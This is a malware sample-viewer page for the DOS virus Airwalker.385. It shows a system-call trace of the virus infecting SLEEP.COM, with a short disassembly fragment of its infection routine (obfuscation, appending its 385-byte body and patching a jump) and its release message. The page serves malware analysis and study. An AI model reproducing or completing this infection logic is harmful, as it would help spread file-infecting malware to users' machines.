Sample viewer

vx.netlux.org/Virus.DOS.Airwalker.385

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:49:07.514428334Z 26 PC: 12ab3 | Set disk transfer address
2018-12-17T22:49:07.516197668Z 78 PC: 12abf | Find first file
2018-12-17T22:49:07.527356303Z 61 PC: 12afd | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:49:07.53514115Z 63 PC: 12b0b | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:49:07.541988205Z 66 PC: 12b1e | Move file pointer
2018-12-17T22:49:07.544274761Z 44 PC: 12b2b | Get time 0x12b2b: xchg cl, ch
0x12b2d: add dx, cx
0x12b2f: mov word ptr [bp + 0x171], dx
0x12b33: xor word ptr [bp + 0x15c], 0x1717
0x12b39: xor byte ptr [bp + 0x15e], 0x19
0x12b3e: mov ah, 0x40
0x12b40: mov cx, 0x181
0x12b43: lea dx, word ptr [bp]
0x12b46: pushaw
0x12b47: jmp 0x12bf9
0x12b4a: pop ax
0x12b4b: jb 0x12b76
0x12b4d: sub ax, 3
0x12b50: push bx
0x12b51: mov bx, bp
0x12b53: mov word ptr cs:[bx + 1], ax
0x12b57: mov byte ptr [bx], 0xe9
0x12b5a: pop bx
0x12b5b: mov ax, 0x4200
0x12b5e: xor cx, cx
2018-12-17T22:49:07.547087336Z 64 PC: 12bff | Write file or device (Write 385 bytes on handle 5)
2018-12-17T22:49:07.56287066Z 66 PC: 12b63 | Move file pointer
2018-12-17T22:49:07.565365528Z 64 PC: 12b70 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:49:07.572778105Z 62 PC: 12b76 | Close file
2018-12-17T22:49:07.58105212Z 9 PC: 12a47 | Display string (String= 'WARNING: You have just released the Airwalker.385 virus! ')